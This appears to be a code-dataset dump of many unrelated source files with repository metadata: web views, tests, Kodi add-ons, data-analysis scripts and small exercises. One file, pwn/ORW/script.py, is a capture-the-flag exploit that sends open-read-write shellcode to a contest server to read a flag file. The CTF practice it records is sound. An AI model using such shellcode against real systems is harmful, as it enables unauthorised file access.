null
null
null
src/onegov/org/views/subscription.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
""" Newsletter subscription management. """ import morepath from onegov.core.security import Public from onegov.newsletter import NewsletterCollection, Subscription from onegov.org import _, OrgApp # use an english name for this view, so robots know what we use it for @OrgApp.view(model=Subscription, name='confirm'...
29.8
73
0.655034
c1fb74533535f4ffee22260ee0be1bd5343b1845
21,585
py
Python
tests/onegov/agency/test_security.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/agency/test_security.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/agency/test_security.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from morepath import Identity from morepath.authentication import NO_IDENTITY from onegov.agency.collections import ExtendedAgencyCollection from onegov.agency.models import AgencyMembershipMoveWithinAgency from onegov.agency.models import AgencyMembershipMoveWithinPerson from onegov.agency.models import AgencyMove fro...
41.669884
79
0.624925
e7804258ae3971748e33af8cdad21ba7c000986f
708
py
Python
pwn/ORW/script.py
killua4564/2019-AIS3-preexam
b13b5c9d3a2ec8beef7cca781154655bb51605e3
[ "MIT" ]
1
2019-06-15T11:45:41.000Z
2019-06-15T11:45:41.000Z
pwn/ORW/script.py
killua4564/2019-AIS3-preexam
b13b5c9d3a2ec8beef7cca781154655bb51605e3
[ "MIT" ]
null
null
null
pwn/ORW/script.py
killua4564/2019-AIS3-preexam
b13b5c9d3a2ec8beef7cca781154655bb51605e3
[ "MIT" ]
null
null
null
from pwn import * conn = remote("pre-exam-pwn.ais3.org", "10001") context.arch = 'amd64' payload = asm(""" mov rax, 0x2 push 0x0 mov rbx, 0x67616c662f2f2f77 push rbx mov rbx, 0x726f2f656d6f682f push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall mov rdi, rax mov rax, 0x0 mov rsi, 0x006010A0 add rs...
15.06383
47
0.679379
e793be1cdb2c278412ce65230de6a8d1883ea537
415
py
Python
Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/10. check if a number is equal to sum of its positive divisors, except itself.py
jaswinder9051998/Resources
fd468af37bf24ca57555d153ee64693c018e822e
[ "MIT" ]
101
2021-12-20T11:57:11.000Z
2022-03-23T09:49:13.000Z
Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/10. check if a number is equal to sum of its positive divisors, except itself.py
Sid-1164/Resources
3987dcaeddc8825f9bc79609ff26094282b8ece1
[ "MIT" ]
4
2022-01-12T11:55:56.000Z
2022-02-12T04:53:33.000Z
Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/10. check if a number is equal to sum of its positive divisors, except itself.py
Sid-1164/Resources
3987dcaeddc8825f9bc79609ff26094282b8ece1
[ "MIT" ]
38
2022-01-12T11:56:16.000Z
2022-03-23T10:07:52.000Z
""" Write a function that accepts a random number and checks if number is equal to the sum of its positive divisors, except itself. Example: Input num = 28 Expected output = True """ def sum_pos_divisor(num): sum = 0 for i in range(1, num): if num % i == 0: sum += i else: ...
16.6
127
0.563855
412e3004e418719be17a8ffe04353d1efb926a72
970
py
Python
public/ceshi.py
victorycjw/Zilch-Film-Workshop
833a6192b1f5941dd9c9c393f01bcbbc8908a24b
[ "Apache-2.0" ]
null
null
null
public/ceshi.py
victorycjw/Zilch-Film-Workshop
833a6192b1f5941dd9c9c393f01bcbbc8908a24b
[ "Apache-2.0" ]
null
null
null
public/ceshi.py
victorycjw/Zilch-Film-Workshop
833a6192b1f5941dd9c9c393f01bcbbc8908a24b
[ "Apache-2.0" ]
null
null
null
import requests import os import random import time import requests_cache from bs4 import BeautifulSoup requests_cache.install_cache('demo_cache') headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', } response = r...
28.529412
142
0.707216
2e1f1d28f7f21d329923841c2f04c3e857778425
2,458
py
Python
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/predict/action_detect/reader/audio_reader.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
5
2022-01-30T07:35:58.000Z
2022-02-08T05:45:20.000Z
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/predict/action_detect/reader/audio_reader.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
1
2022-01-14T02:33:28.000Z
2022-01-14T02:33:28.000Z
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/predict/action_detect/reader/audio_reader.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
1
2022-03-07T10:51:21.000Z
2022-03-07T10:51:21.000Z
""" audio reader """ # Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserve. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
31.113924
96
0.641579
2e42c8d5d4728d293c1f7b88b25b2d8622d4e719
11,150
py
Python
auswertung/auswertung.py
Hofei90/picoffee
6b2a00f2b4631790b90495d736afeb331d759241
[ "MIT" ]
3
2019-05-04T21:34:33.000Z
2022-01-25T10:00:25.000Z
auswertung/auswertung.py
Hofei90/picoffee
6b2a00f2b4631790b90495d736afeb331d759241
[ "MIT" ]
4
2019-04-11T05:03:55.000Z
2020-07-09T06:52:58.000Z
auswertung/auswertung.py
Hofei90/picoffee
6b2a00f2b4631790b90495d736afeb331d759241
[ "MIT" ]
1
2020-02-13T19:04:31.000Z
2020-02-13T19:04:31.000Z
import datetime import os import sqlite3 from collections import defaultdict import matplotlib.pyplot as plt import numpy as np import paramiko from scp import SCPClient SKRIPTPFAD = os.path.abspath(os.path.dirname(__file__)) PFAD_DB = "/home/pi/Kaffee/" DATEI_DB = "db_coffee.db3" class Datenbank: def __init__(...
34.735202
113
0.529238
d8e921e61c04cf4e52ded7413a09a3e7f3fbc26e
1,233
py
Python
Problems/Depth-First Search/medium/LowestCommonAncestorDeepestLeaves/lowest_common_ancestor_deepest_leaves.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Depth-First Search/medium/LowestCommonAncestorDeepestLeaves/lowest_common_ancestor_deepest_leaves.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Depth-First Search/medium/LowestCommonAncestorDeepestLeaves/lowest_common_ancestor_deepest_leaves.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
from typing import Optional # Definition for a binary tree node. class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right # def lcaDeepestLeaves(self, root: Optional[TreeNode]) -> Optional[TreeNode]: # def helper(cur_node: Op...
27.4
77
0.602595
2b386eaac9deed84e3ba9f1d1583fc9bcf4dc845
2,149
py
Python
repo/script.module.urlresolver/lib/urlresolver/plugins/vshare.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
1
2017-11-26T18:18:46.000Z
2017-11-26T18:18:46.000Z
repo/script.module.urlresolver/lib/urlresolver/plugins/vshare.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
null
null
null
repo/script.module.urlresolver/lib/urlresolver/plugins/vshare.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
3
2019-09-30T19:52:05.000Z
2020-04-12T21:20:56.000Z
""" vshare resolver for URLResolver Copyright (C) 2018 holisticdioxide This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any...
39.796296
113
0.656119
513f242b218d3081069a6fdacfdf6c562bb28713
321
py
Python
src/onegov/feriennet/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import logging log = logging.getLogger('onegov.feriennet') # noqa log.addHandler(logging.NullHandler()) # noqa from translationstring import TranslationStringFactory # noqa _ = TranslationStringFactory('onegov.feriennet') # noqa from onegov.feriennet.app import FeriennetApp __all__ = ['_', 'log', 'FeriennetApp']...
29.181818
62
0.772586
cf9ec9f4ed301c7591e1ed41d731f74566bd9ab0
5,111
py
Python
Packs/FetchIndicatorsFromFile/Scripts/FetchIndicatorsFromFile/FetchIndicatorsFromFile_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/FetchIndicatorsFromFile/Scripts/FetchIndicatorsFromFile/FetchIndicatorsFromFile_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/FetchIndicatorsFromFile/Scripts/FetchIndicatorsFromFile/FetchIndicatorsFromFile_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
CSV_TEST_RESULTS_1 = [ {'type': 'File', 'value': '4f79697b40d0932e91105bd496908f8e02c130a0e36f6d3434d6243e79ef82e0'}, {'type': 'File', 'value': '794cf7644115198db451431bca7c89ff9a97550482b1e3f7f13eb7aca6120a11'}, {'type': 'File', 'value': 'ec2faa62b6ab93f84e2e8c00f81bc751c0ea559b7a01f6aa08afdb1d93f0f391'},...
45.230088
118
0.673645
8f52ab7bb908441828977e5231ebfa566344ac58
846
py
Python
tests/onegov/foundation/test_theme.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/foundation/test_theme.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/foundation/test_theme.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.foundation import BaseTheme, Theme def test_compile(): # see if the base theme actually compiles theme = Theme(compress=False) assert theme.compile() == theme.compile() assert theme.compile() != Theme(compress=True).compile() def test_options(): # override a simple variable provided...
27.290323
68
0.654846
85c81c79dfd1f39e9ffa3c0cdc7b5a0d14034e29
5,177
py
Python
src/onegov/election_day/cli.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/cli.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/cli.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
""" Provides commands used to initialize election day websites. """ import click import os from onegov.core.cli import command_group from onegov.core.cli import pass_group_context from onegov.election_day.models import ArchivedResult, DataSource from onegov.election_day.utils import add_local_results from onegov.elec...
30.815476
79
0.63589
74e3472fb4127b93326a181f72dcddc440599d68
197
py
Python
Tests/test_utility/test_activation_functions.py
savagewil/SavageML
d5aa9a5305b5de088e3bf32778252c877faec41d
[ "MIT" ]
null
null
null
Tests/test_utility/test_activation_functions.py
savagewil/SavageML
d5aa9a5305b5de088e3bf32778252c877faec41d
[ "MIT" ]
null
null
null
Tests/test_utility/test_activation_functions.py
savagewil/SavageML
d5aa9a5305b5de088e3bf32778252c877faec41d
[ "MIT" ]
null
null
null
import numpy as np from savageml.utility.activation_functions import sigmoid def test_sigmoid(): print() for s in sigmoid(np.linspace(-10.0, 10.0, 50)): print(s) assert True
17.909091
57
0.680203
74597557bb872c723ff821baa58c599fb3508168
23,367
py
Python
repo/plugin.video.PsycoTVPro/default.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
1
2017-11-26T18:18:46.000Z
2017-11-26T18:18:46.000Z
repo/plugin.video.PsycoTVPro/default.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
null
null
null
repo/plugin.video.PsycoTVPro/default.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
3
2019-09-30T19:52:05.000Z
2020-04-12T21:20:56.000Z
# -*- coding: utf-8 -*- #############Imports############# import xbmc,xbmcaddon,xbmcgui,xbmcplugin,base64,os,re,unicodedata,requests,time,string,sys,urllib,urllib2,json,urlparse,zipfile,shutil from resources.modules import client,control,tools,user,date_converter import time from datetime import datetime im...
35.894009
201
0.612659
74a00c85f3fe6fd7c9c1d5a540f2de8f8e27a31e
582
py
Python
Projects/InvisibleCloak/colorpicker.py
ankita080208/Hacktoberfest
2be849e89285260e7b6672f42979943ad6bbec78
[ "MIT" ]
1
2021-10-04T05:41:43.000Z
2021-10-04T05:41:43.000Z
Projects/InvisibleCloak/colorpicker.py
ankita080208/Hacktoberfest
2be849e89285260e7b6672f42979943ad6bbec78
[ "MIT" ]
null
null
null
Projects/InvisibleCloak/colorpicker.py
ankita080208/Hacktoberfest
2be849e89285260e7b6672f42979943ad6bbec78
[ "MIT" ]
null
null
null
import cv2 import numpy as np def color(): cap = cv2.VideoCapture(1) while True: _, frame = cap.read() roi = frame[100:300, 0:200] roicvt = cv2.cvtColor(roi, cv2.COLOR_BGR2HSV) minn = np.min(roicvt, axis = 1) actualmin = np.min(minn, axis = 0) maxx = np.max(roi...
25.304348
68
0.575601
bb2be77acf5573140167b1fc94bc49a5add1ec94
1,486
py
Python
tests/db_util/db_handler.py
fs714/ialgotest
eae968cff963549af40ed34745b44c1b5e20efa7
[ "Apache-2.0" ]
null
null
null
tests/db_util/db_handler.py
fs714/ialgotest
eae968cff963549af40ed34745b44c1b5e20efa7
[ "Apache-2.0" ]
null
null
null
tests/db_util/db_handler.py
fs714/ialgotest
eae968cff963549af40ed34745b44c1b5e20efa7
[ "Apache-2.0" ]
1
2021-11-24T18:59:12.000Z
2021-11-24T18:59:12.000Z
#!/usr/bin/env python2.7 import pymongo from pymongo import MongoClient import datetime as dt class CycType(object): CYC_MINUTE = 1 CYC_DAY = 2 CYC_WEEK = 3 CYC_MONTH = 4 CYC_SEASON = 5 CYC_HAFLYEAR = 6 CYC_YEAR = 7 DB_IP = '127.0.0.1' DB_PORT = 27017 DB_NAME = 'emquant' start = dt.date...
27.018182
117
0.635935
701140cf7ce249e9e9799f55619bd8f5051e4b27
844
py
Python
Python/Sonstige_Uebungen/fractal_like/pentagon_fractal_turtle.py
Apop85/Scripts
1d8dad316c55e1f1343526eac9e4b3d0909e4873
[ "MIT" ]
null
null
null
Python/Sonstige_Uebungen/fractal_like/pentagon_fractal_turtle.py
Apop85/Scripts
1d8dad316c55e1f1343526eac9e4b3d0909e4873
[ "MIT" ]
6
2020-12-24T15:15:09.000Z
2022-01-13T01:58:35.000Z
Python/Sonstige_Uebungen/fractal_like/pentagon_fractal_turtle.py
Apop85/Scripts
1d8dad316c55e1f1343526eac9e4b3d0909e4873
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: pentagon_fractal.py # Project: Sonstige_Uebungen # Created Date: Thursday 28.02.2019, 20:29 # Author: Apop85 # ----- # Last Modified: Friday 01.03.2019, 13:00 # ----- # Copyright (c) 2019 Apop85 # This software is published under the MIT license. # Check http://...
21.1
71
0.64218
703c2d84e0afb9d2acc3d2768d4c57dcad2c620e
1,178
py
Python
Packs/PassiveTotal/Scripts/RiskIQPassiveTotalSSLWidgetScript/RiskIQPassiveTotalSSLWidgetScript.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/PassiveTotal/Scripts/RiskIQPassiveTotalSSLWidgetScript/RiskIQPassiveTotalSSLWidgetScript.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/PassiveTotal/Scripts/RiskIQPassiveTotalSSLWidgetScript/RiskIQPassiveTotalSSLWidgetScript.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
from CommonServerPython import * import traceback from typing import Dict, Any def set_arguments_for_widget_view(indicator_data: Dict[str, Any]) -> Dict[str, str]: """ Prepare argument for commands or message to set custom layout of indicator """ indicator_type = indicator_data.get('indicator_typ...
31
84
0.640068
8deb57626b4a3a8353abdfd8c5b8973ef30a72ac
1,032
py
Python
src/tools/release/_versionize.py
MariusDume/wicked.haufe.io
1efadeabae7b7ccb4b17473e9aa5d0af60796adb
[ "Apache-2.0" ]
136
2016-07-18T13:37:13.000Z
2022-02-25T04:16:31.000Z
src/tools/release/_versionize.py
MariusDume/wicked.haufe.io
1efadeabae7b7ccb4b17473e9aa5d0af60796adb
[ "Apache-2.0" ]
272
2016-06-16T16:07:34.000Z
2021-12-03T11:35:42.000Z
src/tools/release/_versionize.py
MariusDume/wicked.haufe.io
1efadeabae7b7ccb4b17473e9aa5d0af60796adb
[ "Apache-2.0" ]
33
2016-06-20T10:14:00.000Z
2022-03-15T11:28:52.000Z
import json import os import sys def byteify(input): if isinstance(input, dict): return {byteify(key): byteify(value) for key, value in input.iteritems()} elif isinstance(input, list): return [byteify(element) for element in input] elif isinstance(input, unicode): re...
28.666667
70
0.640504
cef7af7fc2f61b5ab40a98ec6fd87e3b1c3ea158
732
py
Python
books/PythonCleanCode/ch7_generator/generators_yieldfrom_2.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonCleanCode/ch7_generator/generators_yieldfrom_2.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonCleanCode/ch7_generator/generators_yieldfrom_2.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""Clean Code in Python - Chapter 7: Using Generators > yield from: Capture the return value. """ from log import logger def sequence(name, start, end): logger.info("%s started at %i", name, start) yield from range(start, end) logger.info("%s finished at %i", name, end) return end d...
20.914286
54
0.595628
9da42b7aaecd5808545b3aaae99c9471d032b03a
2,306
py
Python
Packs/Gurucul/Scripts/graanalyticalfeaturedisplay/graanalyticalfeaturedisplay_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/Gurucul/Scripts/graanalyticalfeaturedisplay/graanalyticalfeaturedisplay_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/Gurucul/Scripts/graanalyticalfeaturedisplay/graanalyticalfeaturedisplay_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import graanalyticalfeaturedisplay from graanalyticalfeaturedisplay import displayAnalyticalFeatures _INCIDENT = { 'id': 28862, "labels": [ { "type": "Brand", "value": "GRA" }, { "type": "Instance", "value": "GRA-Test" }, ...
24.273684
117
0.448395
9db39348f3044a84c04a23dd0c9887f1327404cc
3,900
py
Python
test/test_npu/test_network_ops/test_ones.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_network_ops/test_ones.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_network_ops/test_ones.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020 Huawei Technologies Co., Ltd # Copyright (c) 2019, Facebook CORPORATION. # All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licen...
36.792453
78
0.604103
9defb2ac77b6588fb40db58f51db8112eee7ae9c
493
py
Python
euler-39.py
TFabijo/euler
58dc07b9adb236890556ccd5d75ca9dbd2b50df9
[ "MIT" ]
null
null
null
euler-39.py
TFabijo/euler
58dc07b9adb236890556ccd5d75ca9dbd2b50df9
[ "MIT" ]
null
null
null
euler-39.py
TFabijo/euler
58dc07b9adb236890556ccd5d75ca9dbd2b50df9
[ "MIT" ]
null
null
null
def pravokoti_trikotiki(): najvec_res = 0 najvec = 0 for obseg in range(12,1001): stevilo_resitev = 0 for a in range(1,obseg//2 + 1): for b in range(a+1,obseg//2 + 2): c = obseg - a - b if c ** 2 == a ** 2 + b ** 2: ste...
30.8125
46
0.490872
ae7add5ecdd473fc8bd19aab2b051aae552519c1
334
py
Python
VolgaCTF/2021/Quals/crypto/Carry/task.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
VolgaCTF/2021/Quals/crypto/Carry/task.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
VolgaCTF/2021/Quals/crypto/Carry/task.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
from fcsr import FCSR if __name__ == '__main__': q = ??? m = ??? a = ??? generator = FCSR(q, m, a) fd = open('original.png', 'rb') data = fd.read() fd.close() encrypted_png = generator.encrypt(data) fd = open('encrypted_png', 'wb') fd.write(encrypted_png) ...
17.578947
44
0.51497
ae811fd48178a8c64f69c8656e8a5fb4c0413c57
184
py
Python
src/corpus/__init__.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
1
2015-11-30T09:27:51.000Z
2015-11-30T09:27:51.000Z
src/corpus/__init__.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
null
null
null
src/corpus/__init__.py
Somsubhra/Enrich
cf1e69b86ceb64c8b09c98b442e09c1196b50125
[ "MIT" ]
null
null
null
# Headers __author__ = 'Somsubhra Bairi' __email__ = 'somsubhra.bairi@gmail.com' # All imports from txtdump import TxtDump from sanitizer import Sanitizer from stemmer import Stemmer
20.444444
39
0.804348
093084bc62aaf451c2a8aea1839be322b2c3bdf0
953
py
Python
django_project/apps/news/templatetags/tmp_filter.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
null
null
null
django_project/apps/news/templatetags/tmp_filter.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
27
2020-02-12T07:55:58.000Z
2022-03-12T00:19:09.000Z
django_project/apps/news/templatetags/tmp_filter.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
2
2020-02-18T01:54:55.000Z
2020-02-21T11:36:28.000Z
from django import template from datetime import datetime from django.utils.timezone import now as now_func,localtime register = template.Library() @register.filter def time_since(value): if not isinstance(value,datetime): return value #当前时间 now = now_func() timestamp = (now-value).total_second...
29.78125
59
0.639035
eedeb243247b60b92a01f534e4e82a737c26b6fc
613
py
Python
docs/API/Users_Guide/scripts/Basic_Query.py
ZhenyuZ/gdc-docs
f024d5d4cd86dfa2c9e7d63850eee94d975b7948
[ "Apache-2.0" ]
null
null
null
docs/API/Users_Guide/scripts/Basic_Query.py
ZhenyuZ/gdc-docs
f024d5d4cd86dfa2c9e7d63850eee94d975b7948
[ "Apache-2.0" ]
null
null
null
docs/API/Users_Guide/scripts/Basic_Query.py
ZhenyuZ/gdc-docs
f024d5d4cd86dfa2c9e7d63850eee94d975b7948
[ "Apache-2.0" ]
null
null
null
import requests import json cases_endpt = 'https://api.gdc.cancer.gov/cases' # The 'fields' parameter is passed as a comma-separated string of single names. fields = [ "submitter_id", "case_id", "primary_site", "disease_type", "diagnoses.vital_status" ] fields = ','.join(fields) params = { ...
19.15625
79
0.663948
e1153a9fc2de6dccb9bf53ff5807630b2ba21f24
187
py
Python
packages/watchmen-data-kernel/src/watchmen_data_kernel/cache/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-kernel/src/watchmen_data_kernel/cache/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-kernel/src/watchmen_data_kernel/cache/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from .cache_manager import configure_cache, find_cache from .cache_service import CacheService from .internal_cache import InternalCache from .pipeline_cache import PipelineCacheListener
37.4
54
0.882353
09698a8e47bea03612af4c3064f554c258e9e3e0
1,473
py
Python
download_election_results.py
lupinix/ppmr_kwhe21_analyse
4a8063301fb3f8bf00d5ce92bc1af6f41aff225f
[ "MIT" ]
null
null
null
download_election_results.py
lupinix/ppmr_kwhe21_analyse
4a8063301fb3f8bf00d5ce92bc1af6f41aff225f
[ "MIT" ]
null
null
null
download_election_results.py
lupinix/ppmr_kwhe21_analyse
4a8063301fb3f8bf00d5ce92bc1af6f41aff225f
[ "MIT" ]
null
null
null
import requests # We have to define our own download function using requests, as simple # urlretrieve is blocked by server :( def urlretrieve(url, filename): r = requests.get(url) with open(filename, "wb") as f: f.write(r.content) def download_election_results(): # Kreiswahl urlretrieve("https...
50.793103
118
0.743381
61ffadb443b78b1ebdff20526af59a94b70cea18
615
py
Python
frappe-bench/apps/erpnext/erpnext/regional/united_arab_emirates/utils.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/regional/united_arab_emirates/utils.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/regional/united_arab_emirates/utils.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
from frappe.utils import flt from erpnext.controllers.taxes_and_totals import get_itemised_tax def update_itemised_tax_data(doc): if not doc.taxes: return itemised_tax = get_itemised_tax(doc.taxes) for row in doc.items: tax_rate = 0.0 if itemised_tax.get(row.item_code): tax_rate = sum([tax.get('tax_rate', ...
38.4375
97
0.752846
3a0809ed51e11fb472de7873d1286aa9bc16acde
4,186
py
Python
Sampling/samplePlot_final.py
StefanMack/RedPitaya
f1de620e2f2f8d8bd239863386a79087705dd9d0
[ "CC0-1.0" ]
null
null
null
Sampling/samplePlot_final.py
StefanMack/RedPitaya
f1de620e2f2f8d8bd239863386a79087705dd9d0
[ "CC0-1.0" ]
null
null
null
Sampling/samplePlot_final.py
StefanMack/RedPitaya
f1de620e2f2f8d8bd239863386a79087705dd9d0
[ "CC0-1.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # #+++Testprogramm zum Erklären Aliasing-Effekt im Messtechnikpraktikum+++ #Red Pitaya wird z.B. mit 10 kHz Sinussignal 4 Vpp von Funktionsgenerator versorgt. #Studis sollen schrittweise den Dezimierungsfaktor der Abtastrate erhöhen und #beobachten, wie sich das abgetastet...
45.010753
113
0.750358
e910c1b020750e2c68c0d8e3175e40a4a64c6cdf
7,478
py
Python
4_DeepLearning-Advanced/6-Callback_ReduceLearningRateOnPlateau.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
4_DeepLearning-Advanced/6-Callback_ReduceLearningRateOnPlateau.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
